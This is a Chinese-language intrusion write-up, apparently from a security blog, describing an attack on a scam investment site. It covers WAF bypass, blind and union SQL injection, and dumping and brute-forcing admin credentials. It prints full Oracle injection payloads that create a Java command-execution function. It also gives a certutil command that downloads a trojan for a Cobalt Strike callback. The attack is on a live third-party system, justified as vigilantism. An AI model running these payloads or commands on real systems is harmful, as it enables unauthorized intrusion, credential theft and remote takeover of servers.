背景

前不久,同学短信收到一条日赚百万的短信,在强大的诱惑下没忍住点了进去,开始走上一条不归路。最后差点泡面都吃不起了,作为一个有正义感的我,也只能开始磨刀,看能否避免后人继续沦陷。


正文

获取后台权限

通过提供的app,抓包获取到一个链接,先浏览下,是一个会员登录口:

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-145007-1604305075.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

抓包尝试爆破下,验证码无法绕过,先放着。开始信息收集一波,找真实ip,c段扫描,端口扫描,google查询等等,一顿操作猛如虎,然而却没什么用,都是同模板站点。还是继续尝试,翻翻看fofa,找到几个dede搭建的网站。

就先去看看这个dede的网站,先看下版本。

尝试了member目录,dede目录等等都已删除,尝试过后台目录爆破,公开漏洞等,也是失败。

那就继续翻一下fofa,看能否有其他发现。翻看多页后发现一个后台系统了。

访问看看,是一个登录口,且有google auth验证。

尝试使用admin进行弱口令爆破,未果。尝试人名的弱口令,也都进不去,怀疑账号可能存在google安全码,爆破成功也无法进入。

由于登录口存在多个版本,猜测后台可能也不止一个。通过后台系统的关键字,继续查找,找到60条记录,有多个版本的后台。

挑选最早的一个后台版本,再尝试一下爆破,还是没任何成果。既然有了后台,按照常规套路肯定还是需要一个注入。开始动手寻找,测试后台功能和api接口都未发现漏洞。想到会员登录口还没有具体测试过,回头继续看看。但是没有账号,访问register.html能直接注册,且不需要填写手机和身份认证等。注册后开始进行测试,发现网站存在waf,对常规的注入关键词进行了过滤,最后在一个搜索框中,发现日期的字段疑似存在盲注漏洞。

测试了一下,过滤了select、=等关键字,尝试change body encoding,能直接绕过waf。

那接下来就简单了,直接上sqlmap,由于只能进行盲注,获取速度较慢,先获取了一个admin账号的信息。

但由于有google auth的存在,还不一定能登录,拿到密码后是明文的,不需要破解,尝试后直接跳转百度。

只能把管理员表的所有账号获取到,在批量测试一下。获取到所有用户后,使用burp的爆破功能进行批量测试,发现只存在一个账号可进行登录。但并不是所有后台都能登录,不同版本的会员功能需重新获取管理员密码。到此可登录后台系统了。

获取shell权限

进入后台后,寻找能获取shell的点。查看了大部分功能,都未有上传功能。在通知功能处,存在fckeditor 2.6.4编辑器。

test.html测试页面已被删除,那就本地下载一套,修改test.html页面里的路径为web路径,可获取目录信息,但尝试任意文件上传漏洞失败。

由于未寻找到其他可利用的漏洞,且在测试过程中发现用户查找功能存在sql联合注入,有回显执行更为方便。因此,要权限足够的话,可尝试oracle的命令执行去获取权限。

但由于存在waf,未能绕过select的关键词。因此尝试其他系统,说不定早期的系统防护相对弱一点。因而挑出最早的系统开始进行测试,果然没有对关键词过滤,可直接注入。

先开始收集信息,首先查看版本,执行:

select banner from v$version where banner like 'Oracle%'

oracle版本为11.2.0.1,是可以执行命令的。继续查看权限,执行:

select role from session_roles

权限为DBA权限:

开始创建JAVA Source,执行:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--

查看是否创建成功的命令:

select OWNER,OBJECT_NAME,OBJECT_TYPE from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

接下来是Java赋执行权限,但是此之前我们需要先给用户添加java运行权限,因此先执行:

NION ALL SELECT  dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate '' grant JAVASYSPRIV to SYSTEM ''commit;end;'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--

再执行:

UNION ALL SELECT  dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--

最后创建执行函数,执行LINXRUNCMD:

UNION ALL SELECT  dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--

验证函数是否创建成功:

select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

最后调用函数执行命令:

select LinxRunCMD('whoami') from dual

权限为system,因此可以下载免杀木马,直接cs上线。使用以下命令下载木马:

certutil -urlcache -split -f http://127.0.0.1/1.exe C:WindowsTemp1.exe

运行木马,cs收到反弹的权限:

由于是server 2012的服务器,未能获取到明文密码。


总结

此次的渗透,可以说是相对比较幸运,由于waf的较弱,比较容易绕过。通过注入获取数据后,刚好有一个管理员账号未设置验证,能够登录后台。通过多个后台权限,寻找防护较弱的后台进行oracle联合注入,执行命令获取主机权限。但由于后续被管理员发现,可能流量存在异常或者木马被查杀,未能继续进行内网探索。相关成果已移交。

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/145007.html